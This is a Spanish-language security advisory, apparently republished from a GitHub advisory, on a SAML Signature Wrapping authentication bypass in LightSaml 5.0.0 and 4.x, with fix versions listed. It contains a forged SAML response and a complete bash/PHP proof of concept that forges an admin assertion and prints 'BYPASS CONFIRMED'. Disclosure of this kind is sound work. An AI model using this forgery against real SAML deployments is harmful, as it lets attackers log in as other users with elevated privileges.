LightSaml permite la omisión de firmas mediante Signature Wrapping
Resumen
LightSaml 5.0.0 (última versión; confirmado también en 4.6.1) valida un samlp:Response entrante recopilando sus elementos secundarios directos saml:Assertion y validando el ds:Signature de cada uno mediante robrichards/xmlseclibs. Ambas capas discrepan sobre qué elemento cubre realmente la firma: LightSaml lee las aserciones (claims) del nodo de aserción recopilado, mientras que xmlseclibs resuelve el Reference URI="#id" firmado con un XPath //*[@Id] en todo el documento que devuelve el primer elemento que contiene ID en cualquier parte del documento.
Un atacante que haya capturado una aserción firmada legítima puede aprovechar esto para introducir aserciones no firmadas creadas por el atacante.
Detalles
Response::deserialize recopila aserciones con manyElementsFromXml, cuyo XPath relativo saml:Assertion solo coincide con hijos directos de Response. Cada aserción recopilada se valida de forma independiente mediante AssertionSignatureValidatorAction frente a las credenciales confiables del IdP fuera de banda (resueltas por el entityId del Issuer, nunca del documento):
https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28
La comprobación delega en xmlseclibs XMLSecurityDSig::validateReference(), que primero elimina del documento compartido el nodo de firma que se está validando (eliminación de enveloped-signature):
if (! $docElem->isSameNode($this->sigNode)) {
if ($this->sigNode->parentNode != null) {
$this->sigNode->parentNode->removeChild($this->sigNode); // strips sig from shared DOM
}
}
https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596
processRefNode() luego resuelve URI="#id" a nivel de todo el documento y toma item(0), el primer elemento con ID en todo el documento, de cualquier nombre o espacio de nombres, y no el que se encuentra dentro del propio subárbol de la firma:
$query = '//*['.$iDlist.']';
$dataObject = $xPath->query($query)->item(0);
https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525
Por lo tanto, el objetivo de resumen (digest) que xmlseclibs selecciona (//*[@Id] item(0), en cualquier lugar) no es necesariamente el de la fase anterior. LightSaml lee entonces las aserciones (Subject/NameID, Conditions, Attributes) del nodo que recopiló:
https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288
En un ataque de ejemplo, el atacante oculta los bytes firmados legítimos (la aserción sin su elemento ds:Signature) dentro de samlp:Extensions, de modo que sea el primer elemento @Id en el orden del documento, pero no una aserción hija directa. Luego presenta una aserción hija directa manipulada con el mismo ID, declaraciones del atacante y una copia textual del ds:Signature legítimo:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
enveloped+exc-c14n digest target is the assertion sans Signature. -->
<samlp:Extensions>
<saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
<saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
</saml:Assertion>
</samlp:Extensions>
<!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
verbatim copy of the genuine ds:Signature. -->
<saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature>
<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/>
<saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
PoC
#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK"
IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion"
composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet
# trusted IdP key + self-signed cert (out-of-band trust anchor)
openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \
-subj "/CN=idp.example.com" >/dev/null 2>&1
# genuine Response with one to-be-signed assertion
cat > genuine_tmpl.xml <<XML
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>${IDP_ENTITY}</saml:Issuer>
<saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>${IDP_ENTITY}</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#${ASSERTION_ID}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue></ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue></ds:SignatureValue>
</ds:Signature>
<saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
<saml:AttributeStatement>
<saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
XML
# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)
xmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \
--id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \
--output genuine_signed.xml genuine_tmpl.xml >/dev/null
# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,
# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine
# signature + attacker claims.
php -r '
$doc = new DOMDocument(); $doc->load("genuine_signed.xml");
$xp = new DOMXPath($doc);
$xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#");
$resp = $doc->documentElement;
$genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0);
$copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0));
// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine->cloneNode(true);
$buried->removeChild($xp->query("./ds:Signature", $buried)->item(0));
// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
"<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">"
."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig
."<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>"
."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>"
."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>"
."</saml:Assertion>";
$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);
// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'
# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat > consumer.php <<'PHP'
<?php
require __DIR__ . '/vendor/autoload.php';
use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction;
use LightSaml\Context\Profile\{AssertionContext, ProfileContext};
use LightSaml\Credential\{UsageType, X509Certificate, X509Credential};
use LightSaml\Context\Model\DeserializationContext; // moved from Model\Context in 5.0.0
use LightSaml\Model\Protocol\SamlMessage;
use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory;
use LightSaml\Store\Credential\StaticCredentialStore;
use LightSaml\Validator\Model\Signature\SignatureValidator;
use Psr\Log\NullLogger;
[$_, $xmlPath, $certPath, $idpEntityId] = $argv;
$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath)); // pinned trust anchor
$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store->add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true
$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n";
foreach ($message->getAllAssertions() as $i => $a) {
$nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';
$attrs = [];
foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)
$attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));
echo "ASSERTION #$i NameID=$nameId Attributes=".json_encode($attrs)."\n";
$ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);
try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }
echo " LightSaml validation: $r\n";
if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {
$bypass = true; echo " >>> BYPASS: forged assertion validated AND attacker claims surfaced\n";
}
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n";
exit($bypass ? 0 : 1);
PHP
php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY"
Salida observada:
assertions LightSaml collected: 1
ASSERTION #0 NameID=attacker@evil.com Attributes={"role":"admin"}
LightSaml validation: ACCEPTED
>>> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED
Impacto
Omisión de autenticación / escalada de privilegios. Un atacante que haya capturado una aserción firmada auténtica (por ejemplo, su propia respuesta de inicio de sesión previa) puede hacer que LightSaml acepte una aserción completamente falsificada como si estuviera firmada por el IdP.
Qué hacer
Actualice litesaml/lightsaml a la versión 4.7.1, 5.0.1 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | litesaml/lightsaml | >= 5.0.0, < 5.0.1, >= 4.0.0, < 4.7.1 | 5.0.1, 4.7.1 |
Referencias
- https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9
- https://nvd.nist.gov/vuln/detail/CVE-2026-63182
- https://github.com/litesaml/lightsaml/pull/113
- https://github.com/litesaml/lightsaml/pull/122
- https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2
- https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00
- https://github.com/litesaml/lightsaml
- https://github.com/litesaml/lightsaml/releases/tag/4.7.1
- https://github.com/litesaml/lightsaml/releases/tag/5.0.1
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N- Debilidad (CWE)
CWE-347- Plataforma
- Composer
- Paquete
litesaml/lightsaml- Publicada
- 16.11.2026
- Actualizado
- 17.11.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-w553-pwx6-3mg9 - CC BY 4.0
Historial de vulnerabilidades: litesaml/lightsaml
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
Esta es la única vulnerabilidad conocida de este paquete.
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.